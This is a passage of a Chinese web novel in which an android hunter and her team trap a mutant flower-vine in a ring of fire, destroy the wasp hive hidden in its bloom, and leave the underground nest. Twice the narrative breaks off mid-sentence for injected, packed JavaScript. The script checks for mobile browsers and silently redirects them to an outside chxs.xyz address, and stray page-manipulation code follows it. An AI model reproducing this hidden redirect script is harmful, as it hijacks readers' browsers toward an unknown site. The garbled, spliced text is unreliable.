花藤的半数藤蔓伸缩着、曲张着,吧嗒吧嗒地敲打着身下的土地,扭进如瓶颈般的陷阱入口中。 再一次地,花藤尝试狩猎。 它高扬起一左一右两只深绿藤蔓,两条蛙舌分别从中射出,借由紫蝎们布置的人造灯反射出冷硬的光泽,弹射向香气四溢的猎物—— 在猫兔腿和疯牛之间,近乎不可视见的细线霎时经历被拉扯、张紧和驰缓三种阶段。 电光火石间,两条蛙舌和猫兔腿擦肩而过,它俩自身反而形成了约莫四十五度的夹角,相互打在一块,发出清脆的硬物撞击声。 吃痛般地,这两条蛙舌一触即分,迅速被收回。花藤愤怒起来,所有的藤蔓都失去理智般地啪啪拍打起了地面,激起一阵扬尘。 “不对,”时却盯着尘土飞扬中张牙舞爪的藤蔓影子,眯起眼睛,“它的藤条数量怎么看着没变?掉的那几根这么快就补上了?” “看看再说。”蒋云霞道。 二人压下疑虑。 这时,事态发生了一点转变。 时却记得她狩猎四脚鱼时,后者完全是不甚聪明地一通狂追,而在这个地下巢穴里,她面前的这株花藤并没有如此。 吃了个“以子之矛攻子之盾”的亏后,它竟拟人化地犹疑起来,站在原地,做出一副“我要想想、我再看看”的姿态,再不动弹了。 齐姐皱眉,低声道:“泥猪!” 泥猪抄起一根长杆,捅了一下位于陷阱边缘的猫兔腿,将它往花藤所在的方向推近不少。 大约就算比起四脚鱼来说长了点脑子,那脑子也不过核桃大小,花藤本能地屈从了狩猎欲/望。 它往猫兔腿的位置凑近,没再弹射蛙舌,而是伸出一条婴儿小臂粗的青翠藤蔓,一把卷到了猎物。 而作为代价,它正式步入了猎人们的陷阱圈内。 几乎同一时间,疯牛边上齐姐的队友一把摁住她的肩膀,剪断她指间的细线。 藤蔓洋洋得意地缠紧猫兔腿,高举到硕大的花朵面前肆意摇晃。 一个紫蝎擦燃一根防风火柴。在其动作的同时,另有三人做出一样举动。 花藤转过身去,要带着来之不易的猎物返回,回到它那由穿地兽的血肉筑成的、巢穴里的巢穴中去。 在弥散开来的刺鼻火柴味道里,紫蝎点燃手中的一捆干草[注]。那捆干草的一端紧捆着个用于增重的小石块。 朝着围成陷阱圈的易燃物,紫蝎掷出那捆带石块的干草。沿不同的方向,另外三捆干草也被抛掷到半空中。 不过眨眼,这四捆干草进入花藤的感应范围中。 花柱轻颤,感应到这四个靠近但不会触碰到自身的不明物体,莫名携带一点高温。 既然不会触碰到自身,又只有一点——还要管吗? 再一次地,花藤展露出拟人化的迟疑。 它侧了侧花朵,蛇群般的藤蔓零碎地敲击地面,终归参考片刻前的经验,没有动弹。 四捆干草冒着白烟落了地。 “呼”一下,橘红的火焰蹿起,噼里啪啦地围绕着花藤,瞬时延伸开去,形成灼灼火圈。 如果可以发出声音,花藤那硕大的五瓣花和十数根藤蔓肯定要齐齐发出尖叫,不明白怎么前一刻还只如星点的高温,眨眼膨胀成了困住自己的牢笼。 可无疑,它没有嘴,它没法叫。 下意识地,藤蔓们朝唯一一个温度相对低的位置游去,那是它们来时的路,亦是整个火圈还尚未被封死的入口。 各负不同职责的紫蝎们跑动起来。 有人抄起几根松松捆作一块的树枝往火圈里扔,让焰势烧得更旺,火舌更加贪婪地上舔,如冷酷无情的海潮般此起又彼伏,时而蹿高,时而压低,毫无规律,毫无怜悯。 四杆散弹枪的持枪人堪堪跑到计划中的位置,不约而同地举枪朝同一位置扣下扳机! 砰砰砰砰! 四声分不清楚先后的巨响炸开,烟尘散去,火圈的入口处遍布了可怕且密密麻麻的凹坑,那是无数金属弹丸深深嵌入地面所留下的痕迹。 花藤上,一些较长的藤蔓被击中了。 藤蔓们纷纷发了疯,混乱而焦躁地狂舞,噼啪着敲打地面,甚至彼此缠绕、拧转。 齐姐的两个队友满天大汗地跑到火圈的入口附近,各提一兜干草,抬手便丢。 噼啪,噼啪! 干草们甫一靠近火源,便剧烈地燃烧。刹那,它们补全了火圈的开口。 花藤被困在了熊熊烈火之中。 72. 花藤 如困兽嘶吼,花藤在火焰牢笼中将地面拍击得噗噗作响;藤蔓浪涛般翻滚起伏,激起飞扬尘土。 此前,它冲得较快的藤蔓被弹丸伤到;这部分藤蔓的尾端受击处被轰击得一片烂糊。 这畏惧高温的变异植物仿佛终于察到自己成了瓮中之鳖,进退维谷;它连花带藤地退到火圈正中央,如同退潮般,藤蔓的动作幅度逐渐变小。 四杆散弹枪已就位,除时却和蒋云霞外,其他紫蝎要么团簇在某杆散弹枪的持枪人周侧,要么在齐姐的指挥下收拢干草或树枝,间歇往火圈里投。 灼灼火舌上下跃动,倒映于在场的每一双眼睛里。 藤蔓们完全平复下来,安静得如同某种前兆。 随后,五根深绿藤蔓突兀地扬起,表皮各自裂开,从中飞出杏仁大小的单只毒蜂。 在某个火舌压低的瞬间,时却得以看清这五只毒蜂的形貌。 虽然她见过这种毒物死翘翘后的状态,但不知道是不是因为藤蔓活性的缘故,时却记得那四根被疯牛刨切开的藤蔓里的毒蜂,整体的颜色偏黯淡,约为土黄色,并不如这几只。 这五只毒蜂艳丽非常,彰显出种“给我蛰一下定让你死翘翘”的警示气场。 它们的头部呈明黄色,唯有复眼漆黑,胸部和腹部均以亮黄色为主,间隔分布有黑棕的环状花纹,通体覆着绒毛,叫人一细看便下意识地发毛。 “它们要从火上出来。”齐姐说。在她的管控下,火圈的焰部即便最高处,距离娱乐间的顶壁也保持有一定的距离。 仿佛为了应和她的话,五只毒蜂以之字型朝娱乐间的顶壁飞去。它们要借由体型和自身作为空军的优势,从这块相对低温处飞出火圈。 一个紫蝎不屑地哼了一声。 事实证明,他的轻蔑道理充分。 尽管五只毒蜂临近火焰时彼此靠近,以一种聪明的合抱之势团簇在了一起,形成了一个有里有外的单元,然后才往火圈外冲—— 可这个单元无疑是脆弱的,不足以抗衡冷酷无情的烈焰。 齐姐抓起两捆干草,往它们欲冲出的火圈位置丢去,那处的火舌伴随骤然膨大、上蹿,瞬间舔掉毒蜂们薄如蝉翼的膜质翅膀,让五只毒蜂里位于较下较外侧的其中之三跌入火海。 剩余的两只毒蜂也没能活多久。 守在火圈边上的紫蝎不是死人,左撇子女当下一铲敲晕一只毒蜂,利索踩死。 在她附近不止一个手持工兵铲防蜂的人,刚发出冷哼的紫蝎也是其中之一。 他三两下将最后一只毒蜂拍在地上,随意踏上去碾过几碾,再撤开脚,地上只留一团稀巴烂的黄白脏污。 说到底,蜂这玩意,最可怖的形态是成群结队、遮天蔽日地出动,灯火通明时小猫两三只般游晃,既好躲也好处理,在场紫蝎没一个忌惮。 收回投往左撇子女所在方向的视线,齐姐看了眼蒋云霞和时却。 按照计划,接下来该是她们这两杆枪出场的时候了。 接收到齐姐的目光指令,蒋云霞和时却贴着娱乐间的一墙侧壁,跑向两只穿地兽。 时却的目的地在于两只穿地兽的肩部,蒋云霞的目的地则更靠近两只穿地兽的臀部。 即将开始攀上这两只穿地兽时,时却回忆起蒋云霞的叮嘱。 假琥珀滑腻,下手要重些。 她以手成爪,施了些力,手指穿进黏稠状且冰冷的假琥珀中,只觉好似捅进了一团温度偏低的水晶泥里。 手腕微斜,十指抠在穿地兽背部鳞片之间的交界上以获得相对稳固的施力点,时却三下五除二,攀上两只穿地兽的肩部。 还没站稳,一缕微风自下而上拂过脸侧,她的左右眼眼角的余光各瞥到不同景象。 左眼瞥到的是,在这两只穿地兽的背后,果然有个不知通向何处的通道,大小比例和众人最初进入巢穴时那段只能爬着走的进口段差不多。 右眼瞥到的是,有五根颜色或绿或青的藤蔓,处在那通道口和穿地兽之间,巴着穿地兽的背侧,左拧右曲之间,荡开假琥珀,三根朝向自己滑行,两根朝向蒋云霞游去! 它们毫无枯萎之态,看上去生机勃勃,似被人抽住一边拉扯开的礼物丝带,又像展开狩猎的长蛇。 蒋云霞摸出两把飞刀投掷出去,一把钉住一根弹射到一半的青藤,另一把将另一根跃至半空中的青藤打落在地。 时却这边凶险得多,袭击她的是两根青藤和一根绿藤,且这三根藤蔓分得较开。 散弹枪可不能短时间内短距离高精度地一打三,时却伸手去够腰间手枪,才来得及将两根青藤打下,余下的绿藤就足够凑近了。 它曲立起本紧贴穿地兽的尾端部分,蛙舌从中弹射而出,恶狠狠地袭向认定的猎物! 蒋云霞:“蝴蝶!” 时却眯起眼睛,数天前同变异狼对战过程中的时间放缓感再度出现,思考速度再次数十倍地快于现实。 只同破空而来的蛙舌对上一眼,她笃定地模拟得到了这条险恶利器的预期行进轨迹。 她向左略一歪头,避开本会洞穿自己额头的蛙舌。 手枪易手,空出右掌,她精准地避开蛙舌前端被硬化了的瓷质部分,握住和这硬化部分紧邻的软肉位置。 这条蛙舌上,很有些来自绿藤内部的润滑液。为确保抓牢,时却手腕一转一拧,如绳绕手般,反将条状的蛙舌缠在右掌之上。 胳膊上的肱二头肌随主人意愿而鼓起、颤动—— 她略一施力,和崖边荡绳无甚区别地,在两只兽尸之上扬起那根绿藤,再猛然一扯,将其往身后侧下方拽去,同步拧腰。 在绿藤越过穿地兽,彻底悬空的瞬间,她左手扣下扳机,砰砰连开两枪。 一枪打在记忆中蛙舌和绿藤的连接处。 一枪打在绿藤刹那间又裂开缝隙、毒蜂从中探出了个头的位置。 两颗子弹下去,绿藤彻底哑火,同蛙舌断了个一干二净,啪叽坠落在地。 时却拎着手里的蛙舌,凑近瞧了瞧它尖端的瓷质部分。 她觉得这玩意硬得有意思,可作他用,将其团起来收进兜里,又在身上胡乱擦干了手,一抬头,迎上数道视线。 蒋云霞:“……” 不少循声看来的紫蝎:“……” 时却:“?” 她应该没拖多久,几秒钟的事情,为什么人人皆见鬼的模样。 齐姐严肃道:“该你们俩了!” 的确,离体藤蔓的突袭已经耽误了些计划。 时却不再多想,和蒋云霞相视一眼。二人散弹枪抵上肩,打算轰烂藤蔓上的百穿花。 火圈中呆立着的花藤有了新的动作。藤蔓涌动,它似有所感般地转向两人。 蒋云霞瞥了一眼还在自己飞刀下扭动的两根青藤,惊疑不定: “它不会和那几根藤蔓之间有感应吧?” “不管,”时却格拉一声拉开保险,“先请吃顿子弹头……它干什么?” 藤蔓们放平了自身,叫百穿花像被什么无形的大手拉下,高度猛地降低。 和打包块糕点没什么区别,这些或青或绿的藤蔓齐齐卷曲,反裹住了艳丽的五瓣花,再如害了羊癫疯似的蠕动起来。 与此同时,整个近球状的“藤包花”左摇右摆,竟在火圈中骨碌碌滚动起来。 “干什么?”蒋云霞惊诧不已,“拿藤蔓当肉盾?那玩意也不经轰啊?” 时却下意识觉得不太对劲,去看齐姐,对方皱眉沉思。 “还开枪吗?”柳广知出声询问。 实际上,持散弹枪的另外几人同样举棋不定,不过他率先问出口。 一阵细密的嗡嗡钻入时却耳中,那声音让人仿佛身临蜂巢,部分来自被藤蔓重重包裹的中心,部分来自近球状“藤包花”的各处。 怎么会?即便是青藤,单根青藤内的毒蜂也不过数只…… 等等,数只? 他们这么笃定,基于什么?自然是三根青藤的解剖结果。那解剖结果清清楚楚地显示了这一点。 可还有一件事: 藤蔓和百穿花之间存在有连结,毒蜂能在此二者之间来回,在百穿花内重新长出内脏和尾针。 他们……凭什么能够认定,藤蔓中的毒蜂,就是这花藤复合体内的所有的毒蜂? 在百穿花的背面,它与藤蔓连结部位的附近,拥有如此显眼的厚度,除去“为毒蜂提供疗养地”这一猜想外,难道不存在其他不与之相悖的可能? 比如说,那处还惯常藏匿——或者说沉眠着——多只毒蜂。 假设这个可能成立,花藤诡异的抱团滚动姿态,“藤包花”内各处传出的嗡嗡声,很大可能上昭示了一种……唤醒和分配的流程? 花藤将更多的毒蜂,布置在自身的各处。 百穿花内藏了多少只毒蜂?十几只?几十只?已知仅绿藤内的毒蜂能被放出,可如果不及时阻止—— 如果青藤内密密麻麻挤满了毒蜂,毒蜂会不会前仆后继地飞出来? 一股寒意袭上后背,时却悚然地喊: “开枪!” “开枪!” 齐姐和时却声音重叠,二人交换了个眼神,明白彼此想到了一块。 “赶紧,”齐姐喝道,“百穿花里有蜂窝!” 蜂窝这两个字浅显易懂,众人迅速会意,放手攻击。然而放手是一回事,实打实的客观限制是另一回事。 花藤团成了个球,高度下降,按理说该更便于瞄准,可实际上…… 它变成了个在跃动火墙遮挡下四处乱滚的移动靶,运动轨迹毫无规律,反而更难被打中。 更别提不管谁开枪,还要考虑别误伤友军。 ……无论如何,枪声尽可能地响了起来,间或夹杂着手/弩发射的嗖嗖声音。 为确保视野,齐姐叫停所有添加易燃物的行为。 不过十几秒,火圈的火焰高度矮下去,其内一塌糊涂。 由于受击而断裂的藤蔓掉得到处都是,地面因藤蔓的组织液飞溅、流淌而斑驳,被染得深浅不一。 当花藤在靠近火焰处被散弹枪打中时,崩出的组织液或小段藤蔓甚至会溅入邻近火焰里,发出水泼或烤肉般的滋啦声响。 如时却和齐姐所猜想,从一些掉落在地的、且几近被轰烂的藤蔓里,以奄奄一息的状态爬出来的毒蜂,其数量完全超过了紫蝎们片刻前的认知。 此起彼伏的射击之下,隐匿于藤蔓包裹中的百穿花再度露脸。 它的相当部分本体被打烂了,五瓣花瓣只余三。 在三瓣花的坑洼断口处,清晰地显露出来多孔的近蜂巢结构,不断有体积不一的毒蜂从中爬出,几只或十几只地凑在一起。 仿佛尝试性地,以抱团的方式,五六只毒蜂团簇着起飞,试图穿越火焰。 这五六只毒蜂,仿佛前哨。 在它们身下,更多的毒蜂飞来晃去,试图集结成一个更大的单元,漂浮在花藤的上方,随它移动,越聚越大。 齐姐不得不让负责看顾火圈的紫蝎见机行事,重新添加易燃物。 轰。噼啪。 火舌蹭地上蹿,冲向这只毒蜂小队的同时,也阻隔地上紫蝎们的视线。 枪声在犹豫中减少,从密转疏。 一些紫蝎脱下外套,或抄起任何能挥舞且面积较大的东西,准备收拾越过焰火牢笼的毒蜂。 只剩居高临下的蒋云霞和时却还有条件看清火圈内部。 “退吗?齐姐!”有紫蝎叫嚷出口。 “这样不行。”蒋云霞喃喃。 时却看到一个紫蝎脱下外套,紧张地守在火圈旁,大概想用外套笼罩可能冲出火焰的毒蜂。 她从中得到了某种启示,飞快地统计出百穿花附近剩余的藤蔓颜色。 火圈里已经不剩几根绿藤了。最多两三根还不时动弹。 她把手里散弹枪冲蒋云霞一丢,飞快交代: “一会有蛙舌射出来的话,帮我挡下?”说完不等回答,大声冲齐姐道: “我进火圈!” “你……”蒋云霞瞳孔一缩,牙关紧咬,“行,去!” 齐姐深深地看了时却一眼,转头说:“一会蝴蝶进去后,把火烧起来!烧旺!” 时却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902836|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得到回复,脱下外套,整个人迅速在穿地兽身上滚了一圈,沾上满身假琥珀。 确认自己连头脸上都覆了层恶心的假琥珀后,她将外套裹成团抱在怀里,跳下穿地兽,冲着火圈的所在方向奔去。 压着步子,看准了一个花藤较为靠近火圈的时机,她高高起跳,跃入火圈! 红帘灼灼,扑面而来,时却破开翻滚热浪和挡路火焰,冲到残破的花藤跟前! 两道蛙舌弹射声起,嗖嗖破空而来。它们的目标一是胆敢靠近者的腿部,一是腹部。 时却恍若不觉,举起外套,连蜂团带百穿花统统一把裹住—— 两声枪响炸开,穿地兽上的蒋云霞依次点射,将袭来的蛙舌逐一射落。 在时却身后,数捆干草被接连投入火圈,火焰霎时旺盛,烧得艳红无比。 数根青藤还与百穿花相连,从外套旁挣出,张牙舞爪地缠绕上时却的双腿、腰腹和胳膊,立时勒紧这不长眼送上门来的猎物。 原本成团并越聚越大的毒蜂遭时却的外套一裹,大半短暂地被拢住,小半从外套的边缘逸散出来,嗡叫着零散围住时却。 数捆燃烧着的干草冒着白烟和火光,擦着时却的肩膀飞过去,恫吓性地短时驱散这些毒蜂。是齐姐在火圈外和众人一起往里扔的。 烧烤的时间到了,仿生人冷冷地想。 在“干草火雨”的掩护下,在腾腾烟雾下,她扣住百穿花,大步侧跨入火中,以外套的布料做间隔,连花带藤往灼热的火圈里狠狠压去。 跟铁板烫生鱿鱼似的,藤蔓们猛然放开时却,在烈焰中剧烈地翻滚伏动起来,百穿花在时却的手下不停摇晃,如同一个濒死挣扎时不断摇头的人脑袋。 时却稍退出一步,跪在火焰边上。为防花藤挣脱,她理所当然地没想过放手。 她持续地按压外套,不顾掌下传来仿佛数量千万的耸动感,冷酷地注视着这块皮革凹凸起伏,耳边是有条不紊的心脏跳动声。 毒蜂在其下沸腾如水,不时扎出点点毒刺,倾尽全力地以猎物的身份作最后一搏。 头脸与灼灼的焰火近在咫尺,时却前额附近的板寸被高温烤得卷曲,假琥珀顺着侧脸的轮廓往下滴滴答答。 裸露在空气中的手腕和掌部烧得通红,细小的水泡密密麻麻地鼓起,她上衣外的假琥珀没几秒钟就被烤干,织物散发出焦糊气味,飞速显出不断扩大的焦黑痕迹。 而作为回报,自她手下,百穿花和藤蔓的挣扎力度愈渐变小,噼啪声里,空气中弥散开某种肉类被烧灼的微妙气味。 这气味毫不持久,没几个呼吸,便转为难闻至极的蛋白质焦糊味。 时却听到沈司奥笨拙地跑向火圈的另一侧,随即是他拧开二人随身携带的饮用水,库库往身上浇水的声音。 ……这样还是会烧着一点啊,小弟弟,她无奈地想。算了,一会再帮他拍好了。 “蝴蝶!”左撇子女朝火圈内扔进手上的工兵铲,差点一铲子砸到时却脑袋上,“你他X的脑子有病啊!” 时却抄起工兵铲代替自己的胳膊压住花藤,远离了点焰火,抹了把脸,几乎将面上揩下一层皮。 “可不吗,”她偏头咳呛两声,左手捡起把脚边的干草,边挥舞着逼退身边的毒蜂,“我以为谁都知道这事。” 本来火圈就自带烟雾地熏了一会,如今再近距离被熏,这些毒蜂没几下便晕晕乎乎地掉落在地。 时却改换了个姿势,拿脚踩实工兵铲,腾出右手去拔身上被毒蜂蛰入的毒刺。 “除了沈司奥,其他人先离我远点,”她冲一群神色复杂的紫蝎胡说八道,“我很保守的,烧成这样,害羞得不行。” 她还记得这些毒刺至少一分钟内不会融化,于是在心里计数,想着能拔多少拔多少。 两分钟内拔不干净的话,干脆一巴掌拍进身体里,再扫掉上面的黄白内脏,来个毁尸灭迹。 难道不可能发生青藤里的毒蜂来不及蜇人的事情吗,那肯定是可能的。 反正证藤们烧成碳了,死无对证。 而后头证实毒是蜂蛰了人时就注入身体的……到时候再看能不能搪塞过去吧,不行的话,大不了携老板逃跑。 总好过冷眼旁观,看“毒蜂大礼包”冲出火圈再爆炸来得好。 而且那种情况下,能不能遵守承诺护住沈司奥,三人一块及时离开,可就两说了。 时却正有点发散地想着这些收尾之事,顶着一个湿漉漉脑袋的沈司奥慌慌张张地冲进火圈,挺大个人了竟然平地左脚绊右脚,差点要扑到她身上。 时却担心被她没被蛰死,老板反被刺而上天,拿胳膊肘将他顶出个安全距离。 他手里拿了一个长柄杯刷似的玩意,表面带有粘性。 这玩意贴在时却被刺入一圈的毒刺边上,稍一偏转就能黏上毒刺或其上的毒蜂内脏,再划过一圈,便可以效率很高地拉扯出来一排毒刺。 时却好奇地问:“挺方便,这啥?” 沈司奥跪在时却大腿边上,粘完上面肉眼可见的最后一圈毒刺,仰头瞪她:“打扫工作台里精细零件用的,义务教育的漏网之鱼理解不了。” 时却极有求生欲地住了嘴,明白可能刚才的场景对一个未成年来说稍显刺激。 待机械师神速地真在两分钟内弄出了所有毒刺,她挑拣着找了个新话题: “……那个,你也不顺手给我带件衣服进来。” 裤子还好,她的上衣燎出不少破洞。 沈司奥看上去几乎要内伤了,咬牙切齿地冲圈外喊: “……蝴蝶要衣服!谁把我背包丢进来!” 等时却隔着火圈囫囵套上新的上衣,事情差不多尘埃落定。 齐姐指挥众人收尾,做些弄灭火圈、搬开穿地兽的工作。 “后头在森林碰到这玩意的话,”时却听到一个紫蝎和同伴感慨,“是会容易点,还是会更麻烦啊?” 是了,花藤大概率不可能只有一株。往后几天,说不定还真要频繁和这种变异植物继续打交道。 森林条件下……这种变异植物会怎么行动?会给蝎子的大部队带去什么影响? 73. 离开 作为弄死花藤的功臣,在一众忙活的紫蝎里,时却获得无人质疑的最高待遇,总结起来八个字: 当个摆件,好好休息。 就连沈司奥给她简单处理完身上的烧伤之后,都被蒋云霞拉去干活,收拾偷袭她和时却的那五根藤蔓。 她彻底弄死那两条被飞刀顶在地上的藤蔓,强调道:“这五根到时候单算我和蝴蝶的啊!” 齐姐斜她一眼:“没人和你抢。” 众人使出九牛二虎之力,堪堪移开了两只穿地兽些许,腾出个可供半人穿行至其后洞口的空间。 对于准确测量风向来说,这点位置足够了。齐姐没几下便测出这洞口处有微风,有概率通向巢穴外。 “有点奇怪,”她说,“算上最初进来的一个,云霞他们途中发现的一个,这是第三个进出口了。” 她的一个队友同样疑惑道:“对,不是说穿地兽同一时间里只用一两个进出口?” 然而一路来的奇事不止这一件,二人不作过多纠结,将注意力转回当前的收尾上。 “联系外头的人,把事情说清楚,”齐姐道,“如果这条通道不是出口,让他们开挖。” 被她点到的紫蝎忙依言照做。 收尾工作的一部分,还包括捡人。 齐姐点了几个紫蝎去接因为各种原因被抛在别处的人。 左撇子女和同伴自然负责回头去找到小辫紫蝎和板寸紫蝎。 他们将两人弄起来,也不管二人醒后一副迷迷糊糊的状态,秉持着能自己走道就行的原则,牧羊犬赶羊似的驱着二人来娱乐间。 四人回到时,恰好和重新确认石宇状态的柳广知碰上。石宇也一副浑浑噩噩的模样。 他们进入娱乐间后,泥猪带两个人走向几人。 他打量一番小辫紫蝎等一脸迟钝的三人,朝自己带着的两名紫蝎努努嘴: “齐姐那边之前中毒的人。把这五个傻子放一块待着吧,不然碍事得很。” ……抛掉“傻子”的部分,他的话不算刻薄。 娱乐间里灭火的灭火,搬兽尸的搬兽尸,还有人被分配去翻弄全无生机的花藤,猛一看颇有几分热火朝天的架势,这五个还没排毒完的人,的确碍手碍脚。 泥猪左看右看,放眼整个空间,唯一莫名形成了个真空圈般无人打扰的地方,是坐在角落里的时却。 他索性把这五个人往时却边上一塞,自己去找属于“鞭尸花藤组”的疯牛。 疯牛兴致勃勃,分门别类地切下花藤的不同部位,脚边一溜排开数个样品管。 时却莫名其妙变看护员,闲着也是闲着,琢磨起这五个呆头鹅身上发生的中毒事件。 真论起来,这事有几分诡异。 结合齐姐和疯牛曾作出的推测,地道的特殊环境,能让腐烂菇的孢子更密集地逸散,提高人中毒的概率。 在这基础上,板寸紫蝎和小辫紫蝎的主要中毒因素疑似包括用到劣质的鼻腔过滤器,齐姐那边的两人则是佩戴的鼻腔过滤器不是全新的…… 那石宇怎么说? 时却拿终端给柳广知发消息询问,得知石宇的鼻腔过滤器是全新的,和柳广知自己使用的没有任何不同。 难道柳广知的过滤器自始至终都戴得好好的,石宇的过滤器曾被板寸紫蝎意外打掉? 想来想去,自进入巢穴后,时却只能得出这一个两人之间的不同点。 但她清楚记得,石宇很快就重新戴上了过滤器,期间最多间隔不过十几秒。 有地形加成的腐烂菇这么猛? 在时却的百思不得其解中,两只穿地兽被挪出足够的位置。 照例是齐姐打头,众人挨个爬进它们身后的通道。 至于娱乐间里的花藤、穿地兽等战利品,得等蝎子的人过来之后,再想办法弄回地上。 过了段时间,行进的队伍停下,齐姐在群里发了张照片。 照片的内容是通道的尽头——一个通往外界的洞,零散遮盖着些树枝和草,由破口的支撑结构围成,边缘多凹凸不平,毛糙得很。 这通道果然是巢穴的出口之一,洞口外显着临 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919195|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近傍晚的黄昏景色。 时却看了看自身的定位,他们离进入巢穴的位置隔得不近。 齐姐继续发消息: 【洞口的形状不对,不是穿地兽的齿牙或爪子破开后留下的痕迹】 【看样子这是穿地兽封住的进出口,后面被花藤挖的】 时却放大图片,仔细打量洞口,知道她为什么这样说了。 沿支撑结构的边缘,每隔一段距离都有个似被弧状锐器戳入的圆滑痕迹,很像花藤的蛙舌戳穿后留下的形状。 齐姐在群里猜测,如果这个洞口真是花藤弄开的,它可能采用的方式是:先戳出一圈洞,再用藤蔓蛮力拍开,让封洞口的保护液碎掉。 并且运气还好的不行,正好没牵连到其他部分的支撑结构。 时却掏出口袋里的蛙舌看了看,总觉得手里蛙舌的尺寸和照片里洞口的圆滑痕迹对应不上。 洞口的痕迹,应该由条更大的蛙舌造成。 不过她手里也就一根青藤而已,可能那株花藤的其他青藤里,有对应尺寸的蛙舌。 腕上的终端持续震动: 蒋云霞:【洞口附近的支撑结构没有裂纹。这个洞可能不是前段时间开的,那时候的支撑结构还没那么脆弱。】 泥猪:【这玩意是不是过于聪明了?还有,洞口的草和树枝是它放的?】 柳广知:【它为什么要专门弄开这个进出口?】 齐姐:【这就不知道了,先出去再说吧。】 队伍再次移动。 轮到时却路过洞口时,她干脆直接拿手里的蛙舌比了一下,果然和洞口上疑似蛙舌破开的痕迹无法对上。 她爬出巢穴。 挨个脱离狭长的通道,脚踏实地后,每个人脸上多少都露出松了口气的神情。 约二十分钟过去,蝎子那边来人,是蜥蜴带队,见面就冲时却打招呼: “蝴蝶,你们也碰上那变异植物。” 时却:“也?” “今天好几个了,”蜥蜴耸肩,“让我们大赚一笔。” 74. 承诺 齐姐上前同蜥蜴交涉。 两人你来我往没几句,时却了解到蜥蜴口中的“大赚一笔”,指的全是救援用费。 “真可惜,齐姐你们这边自己解决了,”蜥蜴不无惋惜地说,“要不穿地兽和变异植物无条件归我们,再加出工钱,我今晚做梦都能笑醒。” 齐姐面不改色地客套了几句,谈起更实际的东西: “底下有两只穿地兽,部分烧焦的一株死花藤——就是那变异植物。全带出来,算什么价?” 蜥蜴略一数在场的紫蝎人数,报了个每人任务量总和的三分之二。 时却无法确定这个价钱算不算公允,一个紫蝎倒是低声吐槽了句真黑。 蒋云霞在三人的通讯群里发消息。 【是有点高。】 蜥蜴耳尖地听到了人群里的抱怨,毫不客气地对声音传来的方向道: “有意见的话站出来,自己开台挖掘机器刨去。” 蝎子毕竟垄断式经营,自然没人敢再接她的话。 齐姐拍拍她的肩膀,转移她的注意力,“我们还试出了些情报,你们要不要?总起来一块算钱。” 蜥蜴在手腕上的终端点了几下,“我开录音。说吧。” 趁齐姐讲述的当间,蒋云霞拉上时却,要带她去找随蜥蜴过来的黑蝎,租个治疗仪疗伤。 “你那两条胳膊——” 双臂火辣辣的时却哪需要治疗,需要的是时间或加快自身愈合速度的干预剂。 她忙推脱说不习惯用治疗仪这种透支身体的装置,有沈司奥处理伤口时涂的速合剂就行。 两人跟拜年发红包时的长辈似的来回拉扯一轮,蒋云霞拗不过她,只得作罢,掏出车钥匙。 “不在这吹冷风了,我们先回去,后面的事情交给齐姐就行,有事群里说话。车上不还躺了个小子吗?” 时却和沈司奥自然没有意见。 其他紫蝎的动向和这三人差不多,出于尽快修整的目的,也打算尽快走。 所以尽管齐姐还在和蜥蜴交涉,紫蝎们多上去简单和她打了声招呼,就离开了。 时却三人回到蒋云霞车边。 乘员舱里的男孩仍未醒来,蒋云霞拉开驾驶舱的车门,随口说:“我喊醒他,他叫什么?” 时却跨上摩托后座,听到飘来的这句话,回说:“没问。” 蒋云霞一愣:“你教他那么用心,我以为……怎么不问?” 时却莫名:“问不问有区别?” 蒋云霞双手撑在车门梁上,看着车里沉睡的男孩,不知想到什么,嘴里的话题转了个弯: “那个左撇子,就是这小子的原保镖之一,我看她进巢穴往这来过。你觉得她人怎么样?” 时却试探性道:“你知道她坑我的事情了?” 见蒋云霞并不意外地点点头,她三言两语将左撇子女和自己的谈话说了,又道:“其实我对她的印象还不错。” “后面好像哪里勾住头发了,拆不下来,”正在边上解防毒面罩的沈司奥凑到时却边上,“帮我看看。” 蒋云霞:“你知道她叫什么吗?” 时却三两下帮沈司奥解下防毒面罩,闻言摇头: “她加我好友的时候没备注,我这边显示的是她的账户号,你要吗?” 蒋云霞却没回答要或者不要。 老猎人从怀里摸出包烟来,面色古怪地在手中捏过几下,似乎颇有抽上一根的冲动。 终究她还是放弃了,玩笑似地说了句“蝴蝶你在人际交往方面,意外地被动嘛”,转而弯腰去摇那男孩。 “小子,喂,起床了。” 男孩睡得很沉,好一会才睁开眼。 见他醒了,蒋云霞折好毯子,告知他时间。“我们完事了,现在各回各家。你车停哪?” “在附近……”口中回答着,男孩揉着眼睛,留意到自己腹部的伤口被重新处理过了。 他下车,双脚落地后的第一件事,是在视野范围去搜寻时却的身影。 找到之后,他对她露出一个感激的笑容。 这位初上道小猎人的战利品——那根蛙藤,之前被和时却等人采集的腐烂菇放在了一块。 向时却再次道谢后,他自己拖着蛙藤,捂着腹部,深一脚浅一脚地离开了。 时却注视着他的背影,直至它消失于某几棵树影之间,衷心地希望他接下来好运。 夜色逐渐代替黄昏。 追赶蝎子大部队的途中,驾驶摩托的沈司奥有一搭没一搭地同时却闲聊。 